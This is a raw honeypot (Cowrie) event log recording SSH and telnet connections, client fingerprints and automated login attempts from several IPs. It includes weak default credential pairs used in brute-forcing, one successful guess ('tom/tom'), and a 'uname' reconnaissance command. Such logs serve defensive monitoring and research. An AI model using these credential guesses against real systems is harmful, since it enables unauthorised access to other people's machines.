{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60470,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f1ae150813c","protocol":"telnet","message":"New connection: 45.58.127.90:60470 (10.17.0.5:23) [session: 4f1ae150813c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:06.119064Z"}
{"eventid":"cowrie.session.closed","duration":38.71480441093445,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:09.423538Z","src_ip":"45.58.127.90","session":"779dc2820899","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.59728002548218,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:13.329898Z","src_ip":"45.58.127.90","session":"45a8a1b5213c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":56276,"dst_ip":"159.203.135.109","dst_port":22,"session":"d685bfa9c6d8","protocol":"ssh","message":"New connection: 172.237.20.62:56276 (159.203.135.109:22) [session: d685bfa9c6d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:13.634856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:13.639670Z","src_ip":"172.237.20.62","session":"d685bfa9c6d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:13.798841Z","src_ip":"172.237.20.62","session":"d685bfa9c6d8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:14.328382Z","src_ip":"172.237.20.62","session":"d685bfa9c6d8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:14.685898Z","src_ip":"172.237.20.62","session":"d685bfa9c6d8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:14.689794Z","src_ip":"172.237.20.62","session":"d685bfa9c6d8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:14.852933Z","src_ip":"172.237.20.62","session":"d685bfa9c6d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:14.858541Z","src_ip":"172.237.20.62","session":"d685bfa9c6d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":51124,"dst_ip":"10.17.0.5","dst_port":23,"session":"92b30320b2bf","protocol":"telnet","message":"New connection: 45.58.127.90:51124 (10.17.0.5:23) [session: 92b30320b2bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:17.686292Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":52956,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a5b98eb76c2","protocol":"ssh","message":"New connection: 172.237.20.62:52956 (159.203.135.109:22) [session: 3a5b98eb76c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:24.656432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:24.662106Z","src_ip":"172.237.20.62","session":"3a5b98eb76c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:24.830622Z","src_ip":"172.237.20.62","session":"3a5b98eb76c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:25.315267Z","src_ip":"172.237.20.62","session":"3a5b98eb76c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:26.480513Z","src_ip":"172.237.20.62","session":"3a5b98eb76c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":41900,"dst_ip":"159.203.135.109","dst_port":22,"session":"d07e716910e4","protocol":"ssh","message":"New connection: 172.237.20.62:41900 (159.203.135.109:22) [session: d07e716910e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:35.416462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:35.421277Z","src_ip":"172.237.20.62","session":"d07e716910e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:35.582772Z","src_ip":"172.237.20.62","session":"d07e716910e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:36.061227Z","src_ip":"172.237.20.62","session":"d07e716910e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:37.223738Z","src_ip":"172.237.20.62","session":"d07e716910e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.213","src_port":64840,"dst_ip":"159.203.135.109","dst_port":23,"session":"6dbf8710ccc5","protocol":"telnet","message":"New connection: 66.132.172.213:64840 (159.203.135.109:23) [session: 6dbf8710ccc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:40.140033Z"}
{"eventid":"cowrie.session.closed","duration":42.38603377342224,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:40.839275Z","src_ip":"45.58.127.90","session":"500471f9b002","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.35353994369507,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:41.936061Z","src_ip":"45.58.127.90","session":"5ca625ef3db4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":33244,"dst_ip":"159.203.135.109","dst_port":22,"session":"4201a27f583f","protocol":"ssh","message":"New connection: 172.237.20.62:33244 (159.203.135.109:22) [session: 4201a27f583f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:46.400129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:46.405010Z","src_ip":"172.237.20.62","session":"4201a27f583f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:46.568192Z","src_ip":"172.237.20.62","session":"4201a27f583f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:47.057420Z","src_ip":"172.237.20.62","session":"4201a27f583f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:48.223072Z","src_ip":"172.237.20.62","session":"4201a27f583f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.57428240776062,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:50.693245Z","src_ip":"45.58.127.90","session":"4f1ae150813c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.272396087646484,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:51.958588Z","src_ip":"45.58.127.90","session":"92b30320b2bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.812670469284058,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:55.952606Z","src_ip":"66.132.172.213","session":"6dbf8710ccc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":44252,"dst_ip":"159.203.135.109","dst_port":22,"session":"34961dcec5c1","protocol":"ssh","message":"New connection: 172.237.20.62:44252 (159.203.135.109:22) [session: 34961dcec5c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:57.127895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:57.132977Z","src_ip":"172.237.20.62","session":"34961dcec5c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:57.295052Z","src_ip":"172.237.20.62","session":"34961dcec5c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:57.781203Z","src_ip":"172.237.20.62","session":"34961dcec5c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:34:58.945302Z","src_ip":"172.237.20.62","session":"34961dcec5c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.213","src_port":23850,"dst_ip":"159.203.135.109","dst_port":23,"session":"80d1bb0cf56b","protocol":"telnet","message":"New connection: 66.132.172.213:23850 (159.203.135.109:23) [session: 80d1bb0cf56b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:00.782676Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":50510,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fd054e2e56d","protocol":"ssh","message":"New connection: 80.94.92.184:50510 (10.17.0.5:22) [session: 6fd054e2e56d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:02.792048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:02.943511Z","src_ip":"80.94.92.184","session":"6fd054e2e56d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:02.953414Z","src_ip":"80.94.92.184","session":"6fd054e2e56d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.547520875930786,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:04.330069Z","src_ip":"66.132.172.213","session":"80d1bb0cf56b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:04.448045Z","src_ip":"80.94.92.184","session":"6fd054e2e56d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:05.739022Z","src_ip":"80.94.92.184","session":"6fd054e2e56d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":35976,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7e3f7aabc08","protocol":"ssh","message":"New connection: 172.237.20.62:35976 (159.203.135.109:22) [session: c7e3f7aabc08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:08.041014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:08.046327Z","src_ip":"172.237.20.62","session":"c7e3f7aabc08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:08.212301Z","src_ip":"172.237.20.62","session":"c7e3f7aabc08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60832,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e9f88adff54","protocol":"telnet","message":"New connection: 45.58.127.90:60832 (10.17.0.5:23) [session: 7e9f88adff54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:08.304738Z"}
